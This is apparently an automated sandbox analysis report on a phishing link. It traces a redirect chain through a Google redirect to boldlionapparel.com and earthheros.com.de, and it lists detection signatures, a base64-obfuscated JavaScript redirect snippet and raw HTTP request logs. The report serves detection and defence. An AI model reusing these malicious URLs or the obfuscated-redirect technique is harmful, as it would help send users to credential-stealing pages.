Edit tour

Windows Analysis Report
https://url.avanan.click/v2/r01/_https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n_.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZT

Overview

General Information

Sample URL:	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZX
Analysis ID:	1535206
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected BlockedWebSite

HTML page contains suspicious javascript code

Detected suspicious crossdomain redirect

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2276,i,12838566996055699050,5134391891814373256,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_230	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

HTML

Source	Rule	Description	Author	Strings
3.2.pages.csv	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected BlockedWebSite

Source: Yara match	File source: 3.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_230, type: DROPPED

HTML page contains suspicious javascript code

Source: https://boldlionapparel.com/.i/

HTTP Parser: window.location.href = atob(

Source: https://boldlionapparel.com/.i/

HTTP Parser: Base64 decoded: https://x.com

Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: Iframe src: https://s.company-target.com/s/sync?exc=lr
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: Iframe src: https://cloudflareinc.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fwww.cloudflare.com

Source: https://www.google.com.sg/url?q=https://boldlionapparel.com/.i#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	HTTP Parser: No favicon
Source: https://earthheros.com.de/QmVlO/#E	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/learning/access-management/phishing-attack/	HTTP Parser: No favicon
Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: No favicon

Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: No <meta name="author".. found
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: No <meta name="author".. found

Source: https://www.cloudflare.com/plans/enterprise/contact/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.cloudflare.com/under-attack-hotline/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49726 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: url.avanan.click to https://www.google.com.sg/url?q=2rudu&rct=2rudu&sa=t&esrc=2rudu&source=&cd=2rudu&uact=&url=amp/s/boldlionapparel.com/.i

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA HTTP/1.1Host: url.avanan.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?q=2RUDu&rct=2RUDu&sa=t&esrc=2RUDu&source=&cd=2RUDu&uact=&url=amp/s/boldlionapparel.com/.i HTTP/1.1Host: www.google.com.sgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /amp/s/boldlionapparel.com/.i HTTP/1.1Host: www.google.com.sgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /url?q=https://boldlionapparel.com/.i HTTP/1.1Host: www.google.com.sgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.com.sgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.sg/url?q=https://boldlionapparel.com/.iAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.com.sgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=Ej16O_dwVhuIBxODHTOpGa6_7sYtGXTI1reT8-rHEu-1y0ek2Dz3OH3jDlBCOuNVEGeKw5pkoF_l7lVuy114Lk8PVEGnJqfo4qiiH3eYI5GGSM6E5yMLATO5JHjK0PbGFZvKlGPAUk1oR_X0LNsdQk2Zti16mzGu59q9GfjX5prLAZVQUGjQLTYPLXzgnGRF
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /.i HTTP/1.1Host: boldlionapparel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://www.google.com.sg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /.i/ HTTP/1.1Host: boldlionapparel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.google.com.sg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: boldlionapparel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://boldlionapparel.com/.i/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /QmVlO/ HTTP/1.1Host: earthheros.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://boldlionapparel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/styles/cf.errors.css HTTP/1.1Host: earthheros.com.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earthheros.com.de/QmVlO/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
